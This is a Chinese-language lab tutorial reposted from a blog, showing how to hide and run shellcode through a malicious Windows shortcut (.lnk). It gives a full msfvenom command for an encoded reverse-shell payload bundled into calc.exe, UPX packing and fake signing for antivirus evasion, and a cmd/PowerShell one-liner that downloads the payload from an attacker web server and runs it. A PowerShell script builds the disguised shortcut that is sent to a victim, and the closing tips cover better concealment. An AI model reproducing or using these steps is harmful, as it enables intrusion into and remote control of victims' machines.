利用快捷方式隐藏并执行shellcode

0x00:简介

快捷方式是win系统下为各种程序、文件、文件夹提供的一种快速启动程序。

后缀名大多为(.lnk)，少见的后缀名有(.pif)、(.url)。

早期的“桌面图标lnk木马”也是危害一时。“恶意程序”通过伪造成正常应用来混淆视听，造成恶意破坏等操作。

0x01:环境准备

1、MSF
2、UPX(pip install upx)
3、数字签名添加器(https://www.ttrar.com/html/7418.html)
4、Phpstudy
5、攻击机器Win7-64位(172.20.10.2)
6、受害者机器Win7-32位（172.20.10.3）
7、攻击机器Kali(172.20.10.14)

0x02:过程

一、MSF生成payload并进行简单的免杀处理

1、编码、捆绑（正常的32位calc.exe）

msfvenom -a x86 –platform windows -p windows/shell_reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=172.20.10.14 LPORT=6667 -x calc.exe -f exe -o jaky.exe

2、加壳、签名

利用upx加壳并生成“jaky666.exe”
 

添加数字签名

二、Win7-64位 搭建web服务（phpstudy）

启动一个web服务，并把”jaky666.exe”放在目录下。等待被远程下载。

三、恶意Ink部署

1、新建立一个text.txt并填写如下代码

cmd /c (echo powershell “($client = new-object System.Net.WebClient) -and ($client.DownloadFile(‘http://172.20.10.2/jaky666.exe’, ‘jaky666.exe’)) -and (exit)”) | cmd && start jaky666.exe

2、新建立一个1.ps1并填写如下代码

$file = Get-Content “D:1kkkkktest.txt”$WshShell = New-Object -comObject WScript.Shell$Shortcut = $WshShell.CreateShortcut(“D:1kkkkkjaky.lnk”)$Shortcut.TargetPath = “%SystemRoot%system32cmd.exe”$Shortcut.IconLocation = “%SystemRoot%System32Shell32.dll,21″$Shortcut.Arguments = ‘ ‘+ $file$Shortcut.Save()

3、powershell执行1.ps1在当前目录生成“jaky.lnk”
 

部署完成

接下来

把“jaky.Ink”文件扔给受害者服务器

四、MSF开启监听
 

 
五、受害者服务器执行”Ink”
 

获取到shell

六、查看Ink

0x03:查杀测试

一、本地查杀
  

二、在线查杀

1、Ink查杀
http://r.virscan.org/language/zh-cn/report/e2f14da45f32b03430bd7feb7c384189

 
（因为快捷方式引用的是cmd.exe,所以上传的程序就是cmd.exe）

2、jaky666.exe查杀
http://r.virscan.org/language/zh-cn/report/8773a7a9dfd1a48becd614e70bc689d3

居然被查杀了
一首（凉凉）送给自己
 
0x04:闲言碎语

1、图标可以换成正常的应用程序的，方便隐藏
2、Ink快捷方式运行后，会在当前目录下存在“恶意程序”。存放目录还需要改进。或者更加高明的隐藏
3、该“恶意程序”只是做了简单的免杀，甚至并不免杀。这里期待免杀大佬改进
4、好好学习、天天向上
5、技术本无罪，恶意利用技术的人才是魔鬼
6、本文只做技术分享，利用该技术恶意破坏的人，后果自负。

文章来源：洛米唯熊